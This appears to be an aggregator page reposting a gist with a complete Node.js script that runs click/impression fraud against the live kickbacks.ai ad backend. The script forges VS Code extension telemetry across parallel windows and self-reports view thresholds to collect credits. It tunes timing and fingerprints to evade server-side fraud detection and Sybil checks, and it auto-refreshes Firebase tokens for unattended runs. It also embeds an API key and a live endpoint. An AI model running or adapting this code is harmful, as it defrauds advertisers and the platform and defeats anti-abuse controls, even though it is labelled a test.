cd /news/ai-tools/kickbacks-ai-realistic-multi-window-… · home topics ai-tools article
[ARTICLE · art-47866] src=gist.github.com ↗ pub= topic=ai-tools verified=true sentiment=· neutral

kickbacks.ai realistic multi-window saturation test v2 — incorporates view_threshold_met fix, DRY counters, and all live-server features (forever, auto-token, dynamic queue observation)

A developer released kickbacks.ai v2, a realistic multi-window saturation test that simulates a fraud attack indistinguishable from legitimate VS Code extension traffic. The tool incorporates fixes for view_threshold_met, DRY counters, and all live-server features including forever mode, auto-token refresh, and dynamic queue observation.

read18 min views2 publishedJun 12, 2026

| // Massed, realistic-timing, parallel fraud test against the REAL kickbacks backend. | | | // | | | // This tests whether new server-side detections (per-account aggregate checks, | | | // duty-cycle heuristics, concurrency limits, device fingerprinting, etc.) can | | | // stop a multi-window saturation attack that is byte-for-byte indistinguishable | | | // from the real VS Code extension's traffic. | | | // | | | // What it does: | | | // * Authenticates as YOUR account via KICKBACKS_TOKEN (from signin.mjs or | | | // signin-email.mjs), or auto-refreshes the token from Firebase email/password. | | | // * Pulls the live ad portfolio to learn queue depth K + session_tokens. | | | // * Spawns K parallel "windows" — one per ad — each emitting the exact event | | | // sequence the real extension uses, with realistic choppy cadence. | | | // * All windows share ONE client_id and ONE ext tuple, exactly as the real | | | // extension does when multiple VS Code panels are open on one machine. | | | // * Tracks credited events vs. rejected/throttled/capped in real time. | | | // | | | // Realism (faithful to cliTick.ts / statusBarAd.ts / portfolio/client.ts): | | | // * Shows are SHORT and irregular — mostly <5s (zero view_ticks), some | | | // medium, rare long — not a metronome. | | | // * view_tick intervals have positive jitter (>= 5000ms), never early. | | | // * visible_ms on every event is true accrued wall-clock time, not fabricated. | | | // * view_threshold_met fires the moment locally-accrued visible_ms crosses the | | | // server-authoritative threshold (from /v1/portfolio), exactly as the real | | | // client decides when to emit it — self-asserted, server-believed. | | | // * impression_viewable closes a show with an ODD duration, never a clean | | | // multiple of 5000. | | | // * Gaps between shows mimic think -> idle transitions. | | | // * Surfaces alternate (statusbar / statusline) across windows. | | | // * A 60s continuous show cap + 20s rest cycle is enforced per window. | | | // * Metrics payload includes the ext fingerprint tuple {os, arch, os_version, | | | // editor} and session_nonce, matching every field the real client sends. | | | // | | | // Fingerprint invisibility: | | | // * One client_id (randomBytes(12).toString("hex") — the real format). | | | // * One ext tuple per run, drawn from the actual Node process so it is | | | // consistent and realistic (same machine, same environment). | | | // * Node's default global fetch transport — identical to the VS Code extension | | | // host. No custom headers, no signature, no attestation. | | | // * From the server's view this is one install, one user, many open editors. | | | // The per-(ip, ua, ext) Sybil cluster sees a single client_id, so it never | | | // trips the multi-device flag regardless of window count. | | | // | | | // Requires explicit opt-in so it can never run by accident: | | | // export KICKBACKS_TOKEN='...' | | | // node attack-real.mjs --yes-i-own-this-account | | | // | | | // Forever mode (runs until Ctrl-C, auto-refreshes token + re-observes queue): | | | // export KICKBACKS_EMAIL='...' | | | // export KICKBACKS_PASSWORD='...' | | | // node attack-real.mjs --yes-i-own-this-account --forever | | | // | | | // Environment: | | | // KICKBACKS_TOKEN bearer token (required unless --forever + email/pw) | | | // KICKBACKS_EMAIL email for Firebase auto-refresh | | | // KICKBACKS_PASSWORD password for Firebase auto-refresh | | | // KICKBACKS_FIREBASE_KEY Firebase API key (default built-in) | | | // KICKBACKS_BASE backend base URL (default: live) | | | // DURATION_MS test duration in ms (default 120_000 = 2 min) | | | // KICKBACKS_WINDOW_COUNT force window count (default = observed queue depth) | | | // KICKBACKS_QUIET "1" to suppress per-event logging | | | // KICKBACKS_EDITOR editor name for ext tuple (default: actual env) | |

| import { randomBytes, randomUUID } from "node:crypto"; | |
| import { release } from "node:os"; | |

| // ── safety: explicit opt-in ───────────────────────────────────────────────── | |

| if (!process.argv.includes("--yes-i-own-this-account")) { | |
| console.error("refusing to run without --yes-i-own-this-account"); | |
| process.exit(2); | |

| } | | | const FOREVER = process.argv.includes("--forever"); | | | let TOKEN = process.env.KICKBACKS_TOKEN; | | | const EMAIL = process.env.KICKBACKS_EMAIL; | | | const PASSWORD = process.env.KICKBACKS_PASSWORD; | | | const FIREBASE_KEY = process.env.KICKBACKS_FIREBASE_KEY | | | || "AIzaSyAhvdYkzjBP6ZaTk_e_cxHoGPx_39ljCvA"; | | | if (!TOKEN && !FOREVER) { | | | console.error("set KICKBACKS_TOKEN or use --forever with KICKBACKS_EMAIL + KICKBACKS_PASSWORD"); | | | process.exit(2); | | | } | |

| if (FOREVER && (!EMAIL || !PASSWORD)) { | |
| console.error("--forever requires KICKBACKS_EMAIL and KICKBACKS_PASSWORD for token auto-refresh"); | |
| process.exit(2); | |

| } | | | const BASE = process.env.KICKBACKS_BASE | | | || "https://kickbacks-backend-gmdaqm2c7q-uw.a.run.app"; | | | const CC_VERSION = process.env.KICKBACKS_CC_VERSION || "2.1.173"; | | | const EXT_VERSION = process.env.KICKBACKS_EXT_VERSION || "0.4.0"; | | | const DURATION_MS = Number(process.env.DURATION_MS || 120_000); | | | const FORCED_K = process.env.KICKBACKS_WINDOW_COUNT | |

| ? Number(process.env.KICKBACKS_WINDOW_COUNT) : null; | |
| const QUIET = process.env.KICKBACKS_QUIET === "1"; | |

| // ── fingerprint (one machine, one install) ────────────────────────────────── | | | // The real VS Code extension generates client_id with randomBytes(12).toString("hex") | | | // and persists it in globalState / ~/.kickbacks/auth.json. All windows on the | | | // same machine share the same id. | |

| const CLIENT_ID = randomBytes(12).toString("hex"); | |
| // The real clientEnv() returns { os: process.platform, arch: process.arch, | |
| // os_version: os.release(), editor: vscode.env.appName }. Since we run in Node | |

| // (the same runtime as the extension host), the first three are natural. The | | | // editor string defaults to VS Code but can be overridden to match the target. | | | const EXT = { | | | os: process.platform, | | | arch: process.arch, | | | os_version: release(), | | | editor: process.env.KICKBACKS_EDITOR || "Visual Studio Code", | | | }; | | | // ── faithful constants (cliTick.ts / statusBarAd.ts) ───────────────────────── | | | const POLL_INTERVAL_MS = 1_000; | | | const VIEW_TICK_INTERVAL_MS = 5_000; | | | const FRESH_ACTIVITY_MS = 4_000; | | | const VISIBLE_GAP_CAP_MS = 2_000; // suspend clamp per poll tick | | | const AD_SHOW_MAX_MS = 60_000; // max continuous show | | | const AD_REST_MS = 20_000; // rest after hitting max | |

| const sleep = (ms) => new Promise((r) => setTimeout(r, ms)); | |
| const tickGap = () => VIEW_TICK_INTERVAL_MS + Math.random() * 800; // always >= 5000ms | |

| // ── shared mutable state (background loops write; windows read) ────────────── | |

| const state = { | |
| ads: [], // current portfolio ads | |

| version: 0, // bumped on every portfolio refresh | | | viewThresholdMs: 15_000, // server-authoritative; updated from /v1/portfolio | | | }; | | | // ── token refresh (Firebase email/password) ───────────────────────────────── | | | async function refreshTokenFromFirebase() { | | | const url = "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=" | |

| + encodeURIComponent(FIREBASE_KEY); | |
| const r = await fetch(url, { | |

| method: "POST", | |

| headers: { "content-type": "application/json" }, | |
| body: JSON.stringify({ email: EMAIL, password: PASSWORD, returnSecureToken: true }), | |
| }); | |
| const j = await r.json(); | |
| if (!r.ok) { | |
| throw new Error(`Firebase sign-in HTTP ${r.status}: ${j?.error?.message || JSON.stringify(j)}`); | |

| } | |

| TOKEN = j.idToken; | |
| console.log(`[token-refresh] new token acquired (expiresIn=${j.expiresIn}s)`); | |

| } | |

| async function tokenRefreshLoop() { | |
| if (!FOREVER) return; | |
| if (!TOKEN) { | |
| console.log("[token-refresh] fetching initial token from Firebase..."); | |
| await refreshTokenFromFirebase(); | |

| } | | | while (true) { | | | // Random interval: 20 minutes to 1 hour | |

| const delayMs = 1_200_000 + Math.random() * 2_400_000; | |
| const nextAt = new Date(Date.now() + delayMs); | |
| console.log(`[token-refresh] next refresh at ${nextAt.toISOString()}`); | |
| await sleep(delayMs); | |

| try { | |

| await refreshTokenFromFirebase(); | |
| } catch (e) { | |
| console.error(`[token-refresh] FAILED: ${e.message}`); | |
| console.error("[token-refresh] retrying in 5 minutes..."); | |
| await sleep(300_000); | |

| } | | | } | | | } | | | // ── dynamic portfolio observation ─────────────────────────────────────────── | |

| async function getPortfolio() { | |
| const r = await fetch(`${BASE}/v1/portfolio?claude_code_version=${CC_VERSION}`, { | |
| headers: { authorization: `Bearer ${TOKEN}`, "content-type": "application/json" }, | |
| }); | |
| if (!r.ok) throw new Error(`portfolio HTTP ${r.status}`); | |
| return r.json(); | |

| } | |

| async function observePortfolioOnce() { | |
| const portfolio = await getPortfolio(); | |
| const ads = portfolio.ads || []; | |
| if (!ads.length) throw new Error("empty portfolio"); | |

| // The threshold is server-authoritative: the client watches its own | | | // locally-accrued visible_ms and fires view_threshold_met when it decides | | | // the threshold is crossed. We mirror that by copying the value. | |

| const thresholdMs = (portfolio.view_threshold_seconds || 15) * 1_000; | |
| if (thresholdMs !== state.viewThresholdMs) { | |

| state.viewThresholdMs = thresholdMs; | | | } | |

| const changed = ads.length !== state.ads.length | |
| || ads.some((a, i) => a.ad_id !== state.ads[i]?.ad_id); | |
| if (changed) { | |
| state.ads = ads; | |

| state.version++; | | | } | | | return { ads, changed }; | | | } | |

| async function doInitialPortfolioFetch() { | |
| const { ads } = await observePortfolioOnce(); | |
| const K = FORCED_K ?? ads.length; | |
| console.log(`[portfolio] initial queue depth K=${ads.length} windows=${K}`); | |
| console.log(`[portfolio] ads = [${ads.slice(0, K).map((a) => a.ad_id).join(", ")}]\n`); | |

| return K; | | | } | | | async function portfolioRefreshLoopBg() { | | | // Periodic re-fetch every 25–80 minutes | |

| while (true) { | |
| const delayMs = 25 * 60_000 + Math.random() * 55 * 60_000; | |
| const nextAt = new Date(Date.now() + delayMs); | |
| console.log(`[portfolio] next observation at ${nextAt.toISOString()}`); | |
| await sleep(delayMs); | |

| try { | |

| const { ads: newAds, changed } = await observePortfolioOnce(); | |
| if (changed) { | |

| const newK = FORCED_K ?? newAds.length; | | | console.log( | |

| `[portfolio] queue CHANGED — K=${newAds.length} windows=${newK} ` + | |
| `ads=[${newAds.slice(0, newK).map((a) => a.ad_id).join(", ")}]` | |
| ); | |
| } else { | |
| console.log(`[portfolio] queue unchanged (K=${newAds.length})`); | |

| } | |

| } catch (e) { | |
| console.error(`[portfolio-refresh] failed: ${e.message}`); | |

| } | | | } | | | } | | | // ── helpers ───────────────────────────────────────────────────────────────── | |

| async function getEarnings() { | |
| const r = await fetch(`${BASE}/v1/earnings`, { | |
| headers: { authorization: `Bearer ${TOKEN}` }, | |
| }); | |
| if (!r.ok) return null; | |
| return r.json(); | |

| } | |

| async function fireEvent(ad, type, { visibleMs, surface = "statusbar" } = {}) { | |
| const body = { | |

| event_type: type, | | | ad_id: ad.ad_id, | | | campaign_id: ad.campaign_id, | | | client_id: CLIENT_ID, | | | ts: new Date().toISOString(), | | | claude_code_version: CC_VERSION, | | | extension_version: EXT_VERSION, | | | nonce: randomUUID(), | | | surface, | | | session_nonce: randomUUID(), // dedup key the real client sends | | | ext: EXT, // fingerprint tuple: one machine, one tuple | | | ...(visibleMs != null | | | ? { | | | visible_ms: Math.round(visibleMs), | | | view_ms: Math.round(visibleMs), // duplicate, real client sends both | | | view_pct: 100, | | | viewable: true, | | | } | | | : {}), | | | session_token: ad.session_token, | |

| }; | |
| const t0 = performance.now(); | |
| const r = await fetch(`${BASE}/v1/metrics`, { | |

| method: "POST", | |

| headers: { authorization: `Bearer ${TOKEN}`, "content-type": "application/json" }, | |
| body: JSON.stringify(body), | |
| }); | |
| const latency = performance.now() - t0; | |

| let j; | |

| try { j = await r.json(); } catch { j = {}; } | |
| const didCredit = !!j.credited; | |
| const reason = j.reason || (r.ok ? "ok" : `HTTP_${r.status}`); | |
| if (!QUIET) { | |
| const tag = didCredit ? "CREDITED" : reason; | |

| console.log( | |

| ` [${surface}] ${type.padEnd(20)} ad=${ad.ad_id.padEnd(10)} ` + | |
| `ms=${String(body.visible_ms ?? "—").padStart(6)} ` + | |
| `lat=${latency.toFixed(0)}ms ${tag}` | |
| ); | |

| } | | | return { didCredit, reason, latency, status: r.status }; | | | } | | | // ── realistic show-length distribution ─────────────────────────────────────── | |

| function sampleShowLen() { | |
| const r = Math.random(); | |
| if (r < 0.55) return 400 + Math.random() * 4_000; // <5s => 0 view_ticks | |
| if (r < 0.88) return 5_000 + Math.random() * 18_000; // medium | |
| return 20_000 + Math.random() * 35_000; // long (will hit cap) | |

| } | | | // DRY helper: one line updates credited / rejected / reasons from a fireEvent result. | |

| function note(res, counters) { | |
| if (res.didCredit) counters.credited++; else counters.rejected++; | |
| if (res.reason && res.reason !== "credited" && res.reason !== "ok") { | |
| counters.reasons[res.reason] = (counters.reasons[res.reason] || 0) + 1; | |

| } | | | } | | | // ── one "window" pinned by index (reads ad from mutable state each show) ───── | | | async function runWindow(windowIdx, surface, deadline, counters) { | |

| let showCount = 0; | |
| while (Date.now() < deadline) { | |
| const ad = state.ads[windowIdx % state.ads.length]; | |
| if (!ad) { await sleep(300); continue; } | |
| const showStart = Date.now(); | |
| const effectiveShowMax = Math.min(showStart + sampleShowLen(), showStart + AD_SHOW_MAX_MS); | |
| await fireEvent(ad, "impression_rendered", { surface }); | |

| counters.rendered++; | |

| let lastTick = showStart, nextGap = tickGap(), accruedMs = 0, firedThreshold = false; | |
| while (Date.now() < effectiveShowMax && Date.now() < deadline) { | |
| await sleep(180); | |
| const now = Date.now(); | |
| accruedMs += Math.min(now - lastTick, VISIBLE_GAP_CAP_MS); | |
| lastTick = now; | |

| // view_tick heartbeat (telemetry), faithful jittered cadence. | |

| if (now - showStart >= nextGap) { | |
| note(await fireEvent(ad, "view_tick", { surface, visibleMs: accruedMs }), counters); | |

| counters.viewTick++; | | | nextGap += tickGap(); | | | } | | | // THE credit event: fire once the self-accrued dwell crosses the | | | // server-set threshold — exactly what the real client's fireViewThresholdMet | | | // does. visible_ms here is the client's own number; the server can't verify it. | |

| if (!firedThreshold && accruedMs >= state.viewThresholdMs) { | |
| firedThreshold = true; | |
| note(await fireEvent(ad, "view_threshold_met", { surface, visibleMs: accruedMs }), counters); | |

| counters.thresholdMet++; | | | } | | | } | | | note(await fireEvent(ad, "impression_viewable", { surface, visibleMs: Date.now() - showStart }), counters); | | | counters.viewable++; | | | showCount++; | |

| const idle = (Date.now() - showStart >= AD_SHOW_MAX_MS - 500) | |
| ? AD_REST_MS : 800 + Math.random() * 3_200; | |
| const until = Date.now() + idle; | |
| while (Date.now() < until && Date.now() < deadline) await sleep(200); | |

| } | | | counters.shows += showCount; | | | } | | | // ── main ───────────────────────────────────────────────────────────────────── | |

| async function main() { | |
| console.log(`\n[attack-real] base = ${BASE}`); | |
| console.log(`[attack-real] mode = ${FOREVER ? "FOREVER (Ctrl-C to stop)" : `${DURATION_MS}ms`}`); | |
| console.log(`[attack-real] client_id = ${CLIENT_ID}`); | |
| console.log(`[attack-real] ext = ${JSON.stringify(EXT)}\n`); | |

| // Kick off background loops early. | |

| if (FOREVER) { | |
| tokenRefreshLoop().catch((e) => { | |
| console.error("[token-refresh] background loop crashed:", e); | |
| process.exit(1); | |
| }); | |

| // If no env token, block until Firebase produces one. | |

| if (!process.env.KICKBACKS_TOKEN) { | |
| let waited = 0; | |
| while (!TOKEN && waited < 15_000) { | |
| await sleep(100); | |
| waited += 100; | |

| } | |

| if (!TOKEN) { | |
| console.error("[attack-real] token refresh never produced a token — aborting"); | |
| process.exit(1); | |

| } | | | } | | | } | | | // Fetch portfolio once (blocking). Forever mode will re-fetch periodically. | |

| const K = await doInitialPortfolioFetch(); | |
| if (FOREVER) { | |
| portfolioRefreshLoopBg(); // fire-and-forget; updates shared state.ads | |

| } | |

| const before = await getEarnings(); | |
| if (!before) { console.error("[attack-real] could not read earnings — is the token valid?"); process.exit(1); } | |
| console.log(`[attack-real] before lifetime=$${before.lifetime_usd} today=$${before.today_usd}\n`); | |
| const counters = { | |
| rendered: 0, viewTick: 0, viewable: 0, thresholdMet: 0, | |
| credited: 0, rejected: 0, shows: 0, reasons: {}, | |
| }; | |
| const deadline = FOREVER ? Infinity : Date.now() + DURATION_MS; | |
| const startWall = Date.now(); | |
| console.log("[attack-real] firing windows …\n"); | |

| await Promise.all( | | | Array.from({ length: K }, (_, i) => | | | runWindow(i, i % 2 ? "statusline" : "statusbar", deadline, counters) | | | ) | | | ); | | | // ── bounded-mode teardown ────────────────────────────────────────────────── | |

| const wallElapsed = Date.now() - startWall; | |
| console.log("\n[attack-real] polling earnings to let async credits settle …"); | |
| let after = before; | |
| for (let i = 0; i < 6; i++) { | |
| await sleep(2_000); | |
| const e = await getEarnings(); | |
| if (e) after = e; | |

| } | | | const lifetimeDelta = | | | parseFloat(after.lifetime_usd || "0") - parseFloat(before.lifetime_usd || "0"); | | | const todayDelta = | | | parseFloat(after.today_usd || "0") - parseFloat(before.today_usd || "0"); | | | const eventTotal = counters.rendered + counters.viewTick + counters.viewable + counters.thresholdMet; | | | const creditRate = counters.credited / Math.max(1, wallElapsed / 1000); | | | const estimatedPerHour = lifetimeDelta / Math.max(1, wallElapsed / 3_600_000); | |

| console.log("\n" + "═".repeat(72)); | |
| console.log(" RESULTS"); | |
| console.log("═".repeat(72)); | |
| console.log(` wall-clock elapsed : ${(wallElapsed / 1000).toFixed(1)}s`); | |
| console.log(` events sent : ${eventTotal}`); | |
| console.log(` impression_rendered : ${counters.rendered}`); | |
| console.log(` view_tick : ${counters.viewTick}`); | |
| console.log(` view_threshold_met : ${counters.thresholdMet}`); | |
| console.log(` impression_viewable : ${counters.viewable}`); | |
| console.log(` shows completed : ${counters.shows}`); | |
| console.log(` credited events : ${counters.credited}`); | |
| console.log(` rejected/ignored : ${counters.rejected}`); | |
| console.log(` credit rate : ${creditRate.toFixed(2)} events/sec`); | |

| console.log( ──────────────────────────────────────────────────────────────────────); | |

| console.log(` lifetime before : $${before.lifetime_usd}`); | |
| console.log(` lifetime after : $${after.lifetime_usd}`); | |
| console.log(` lifetime Δ : $${lifetimeDelta.toFixed(6)}`); | |
| console.log(` today Δ : $${todayDelta.toFixed(6)}`); | |
| console.log(` extrapolated /hour : ~$${estimatedPerHour.toFixed(4)}`); | |

| console.log(" ──────────────────────────────────────────────────────────────────────"); | |

| if (Object.keys(counters.reasons).length) { | |
| console.log(" rejection reasons:"); | |
| for (const [reason, count] of Object.entries(counters.reasons).sort((a, b) => b[1] - a[1])) { | |
| console.log(` ${reason.padEnd(18)} : ${count}`); | |

| } | | | } | |

| const pass = counters.credited > 0; | |
| const throttled = (counters.reasons.cooldown || 0) > 0; | |
| const capped = (counters.reasons.daily_cap || 0) > 0; | |

| console.log(" ──────────────────────────────────────────────────────────────────────"); | |

| if (capped) { | |
| console.log(" VERDICT: DAILY CAP hit — the economic brake is engaged."); | |
| } else if (throttled && counters.credited > 0) { | |
| console.log(" VERDICT: COOLDOWN active but credits still flow (expected behavior)."); | |
| } else if (!throttled && !capped && counters.rejected > 0) { | |

| console.log(" VERDICT: events were REJECTED with no cooldown/cap — a new detection may be active."); | | | } else if (pass) { | | | console.log(" VERDICT: CREDITS FLOW — no new detection blocked the attack."); | | | } else { | | | console.log(" VERDICT: ZERO credits — either cooldown saturation or a new block."); | | | } | |

| console.log("═".repeat(72) + "\n"); | |
| process.exit(pass ? 0 : 1); | |

| } | | | main().catch((e) => { console.error(e); process.exit(1); }); |

── more in #ai-tools 4 stories · sorted by recency
── more on @kickbacks.ai 3 stories trending now
sponsored brought to you by zahid.host 4,200+ EU-deployed projects
reading about agents? ship yours in a single git push.

Run your AI side-project on zahid.host

EU-based hosting, git-push deploys, automatic HTTPS, no cold starts. Free tier with a custom domain — perfect for shipping the agent you just read about.

$git push zahid main
Live at https://your-agent.zahid.host
Get free account → Pricing
from €0/mo · no card required
LIVE [news/kickbacks-ai-realist…] indexed:0 read:18min 2026-06-12 ·